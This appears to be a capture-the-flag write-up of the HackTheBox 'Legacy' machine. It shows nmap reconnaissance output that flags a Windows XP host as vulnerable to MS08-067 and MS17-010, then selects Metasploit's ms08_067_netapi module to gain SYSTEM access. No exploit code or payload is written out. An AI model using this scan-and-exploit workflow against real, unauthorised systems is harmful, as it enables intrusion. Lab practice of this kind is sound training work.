This post provides a walkthrough of the Legacy system on HackTheBox. It is an easy machine. To start off this box, I run a couple of nmap scan to figure out whats on this box.
nmap
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kali@0xOE:~/Desktop|⇒ nmap -sS -sV -sC -oA legacy 10.10.10.4
Nmap scan report for 10.10.10.4
Host is up (0.23s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows XP microsoft-ds
3389/tcp closed ms-wbt-server
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
Host script results:
|_clock-skew: mean: -4h27m06s, deviation: 2h07m16s, median: -5h57m06s
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:5b:1d (VMware)
| smb-os-discovery:
| OS: Windows XP (Windows 2000 LAN Manager)
| OS CPE: cpe:/o:microsoft:windows_xp::-
| Computer name: legacy
| NetBIOS computer name: LEGACY\x00
| Workgroup: HTB\x00
|_ System time: 2020-04-03T12:19:51+03:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Apr 3 08:17:48 2020 -- 1 IP address (1 host up) scanned in 79.10 seconds
The first thing that came to my mind was to try ms17-010 vulnerability. I use metasploit to scan .
But I can not access the system. I scan again the machine with nmap vuln script.
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kali@0xOE:~/Desktop|⇒nmap --script vuln 10.10.10.4
Nmap scan report for 10.10.10.4
Host is up (0.17s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE
139/tcp open netbios-ssn
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
445/tcp open microsoft-ds
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
3389/tcp closed ms-wbt-server
Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms08-067:
| VULNERABLE:
| Microsoft Windows system vulnerable to remote code execution (MS08-067)
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2008-4250
| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
| code via a crafted RPC request that triggers the overflow during path canonicalization.
|
| Disclosure date: 2008-10-23
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_ https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
# Nmap done at Fri Apr 3 08:33:20 2020 -- 1 IP address (1 host up) scanned in 30.52 seconds
Microsoft Windows system vulnerable to remote code execution (MS08-067) I search for this ms08-067 within metasploit to see if there is a usable metasploit exploit.
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msf5 > use MS08-067
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms08_067_netapi 2008-10-28 great Yes MS08-067 Microsoft Server Service Relative Path Stack Corruption
Use this and configure it.
I have NT Authority\SYSTEM , which means I have Administrator Access.
User Flag 
Root Flag 
